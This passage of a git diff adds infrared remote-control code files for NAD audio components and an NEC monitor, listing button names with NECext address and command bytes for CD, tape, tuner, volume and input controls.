DECKA_REC/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: DECKA_FF_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: DECKA_REW_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: MASTER_VOLUME_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: MASTER_VOLUME_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: DECKB_REC/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: DECKB_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: DECKB_FF_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: DECKB_REW_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: DECKB_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CC 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CD 00 00 00 +# +name: SRND_CENTER_VOL_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D0 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: SRND_CENTER_VOL_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D5 00 00 00 +# +name: SRND_REAR_VOL_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D6 00 00 00 +# +name: SRND_REAR_VOL_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D7 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DA 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 +# +name: DECKB_REV_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir new file mode 100644 index 000000000..9f272aa2e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 03 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 10 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 11 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 12 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 13 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 16 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: TUNER_BANK +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4B 00 00 00 +# +name: DECKA_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: DECKA_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: DECKA_REV_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 54 00 00 00 +# +name: DECKA_REC/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: DECKA_FF_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: DECKA_REW_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: TUNER_SEARCH_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 86 00 00 00 +# +name: TUNER_SEARCH_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 87 00 00 00 +# +name: MASTER_VOLUME_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: MASTER_VOLUME_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: DECKB_REC/PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9B 00 00 00 +# +name: DECKB_PLAY_> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: DECKB_FF_>> +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: DECKB_REW_<< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: DECKB_STOP_[] +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: TUNER_TUNE_V +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D3 00 00 00 +# +name: TUNER_TUNE_^ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D4 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 +# +name: DECKB_REV_PLAY_< +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir new file mode 100644 index 000000000..e784c707a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-PlayPause +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD-Previous +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD-Next +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD-Disc +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: Tuner-Bank +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 25 00 00 00 +# +name: CD-Pause +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: TapeA-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: TapeA-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: TapeA-Rev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 54 00 00 00 +# +name: TapeA-Record +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: TapeA-FastForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: TapeA-Rewind +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: Input-TunerFM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: Input-TunerAM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: Input-CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: Input-Disc +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: Input-Tape1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: Input-Tape2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: TapeB-Record +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: Input-Aux +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9B 00 00 00 +# +name: TapeB-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: TapeB-FastForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: TapeB-Rewind +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: TapeB-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: Input-Video2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: Input-Video3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C1 00 00 00 +# +name: Input-Video1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C8 00 00 00 +# +name: Speakers-A +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CE 00 00 00 +# +name: Speakers-B +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CF 00 00 00 +# +name: Tuner-PresetLeft +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: Tuner-PresetRight +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: TapeB-Rev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir new file mode 100644 index 000000000..c988ecf5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: SKIP_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SCAN_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SCAN_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir new file mode 100644 index 000000000..da1e6798d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 03 00 00 00 +# +name: ScanBack +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: ScanForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 08 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0A 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 11 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 13 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4C 00 00 00 +# +name: Add10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir new file mode 100644 index 000000000..01d08e0f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir @@ -0,0 +1,368 @@ +Filetype: IR signals file +Version: 1 +# +name: cd-play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: cd-stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: cd-scan-rev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 04 00 00 00 +# +name: cd-prev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: cd-next +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: cd-scan-fwd +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 07 00 00 00 +# +name: disp-info +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 08 00 00 00 +# +name: cd-disp-info +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 08 00 00 00 +# +name: rpt +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0A 00 00 00 +# +name: cd-rpt +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0A 00 00 00 +# +name: cd-1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0C 00 00 00 +# +name: cd-2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0D 00 00 00 +# +name: cd-3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0E 00 00 00 +# +name: cd-4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0F 00 00 00 +# +name: cd-5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 10 00 00 00 +# +name: cd-6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 11 00 00 00 +# +name: cd-7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 12 00 00 00 +# +name: cd-8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 13 00 00 00 +# +name: cd-9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 15 00 00 00 +# +name: cd-0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 16 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 25 00 00 00 +# +name: tuner-disp-info +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 26 00 00 00 +# +name: tuner-blend +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 35 00 00 00 +# +name: tuner-fm-mute +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 37 00 00 00 +# +name: cd-eject +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 48 00 00 00 +# +name: cd-pause +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4A 00 00 00 +# +name: cd-10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4C 00 00 00 +# +name: cd-+10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: disc +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: tuner-1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8A 00 00 00 +# +name: tuner-5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: tape-mon +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: tuner-2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8E 00 00 00 +# +name: tuner-6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8F 00 00 00 +# +name: tape2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: tuner-3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 92 00 00 00 +# +name: tuner-7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 93 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: tuner-4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 96 00 00 00 +# +name: tuner-8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 97 00 00 00 +# +name: tuner-9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 98 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C1 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: tuner-enter +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C5 00 00 00 +# +name: tuner-0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C7 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C8 00 00 00 +# +name: spk-a +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CE 00 00 00 +# +name: spk-b +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CF 00 00 00 +# +name: tuner-preset-down +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: tuner-preset-up +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: tuner-tune-left +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D3 00 00 00 +# +name: tuner-tune-right +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D4 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 +# +name: tuner-am-fm-dab +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 +# +name: tuner-10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: F2 00 00 00 +# +name: tuner-+10 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: F3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir new file mode 100644 index 000000000..bb0635018 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-Pause +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 01 00 00 00 +# +name: CD-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 02 00 00 00 +# +name: CD-Previous +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 05 00 00 00 +# +name: CD-Next +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 06 00 00 00 +# +name: CD-Disc +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 17 00 00 00 +# +name: Tuner-Bank +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: TapeA-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: TapeA-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: TapeA-Rev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 54 00 00 00 +# +name: TapeA-Record +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: TapeA-FastForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: TapeA-Rewind +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: Input-TunerFM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: Input-TunerAM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: Input-CD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 85 00 00 00 +# +name: Tuner-SearchDown +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 86 00 00 00 +# +name: Tuner-SearchUp +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 87 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: Input-Phono +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: Input-Tape1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: Input-Tape2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: TapeB-Record +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: Input-Aux +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9B 00 00 00 +# +name: TapeB-Play +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: TapeB-FastForward +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: TapeB-Rewind +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: TapeB-Stop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: Input-VCR1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: Input-LD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: Tuner-PresetDown +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: Tuner-PresetUp +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: Tuner-TuneDown +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D3 00 00 00 +# +name: Tuner-TuneUp +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D4 00 00 00 +# +name: TapeB-Rev +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir new file mode 100644 index 000000000..5775e78b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_CHANNEL_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: VCR_CHANNEL_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: VCR_VOLUME_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: VCR_VOLUME_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 19 00 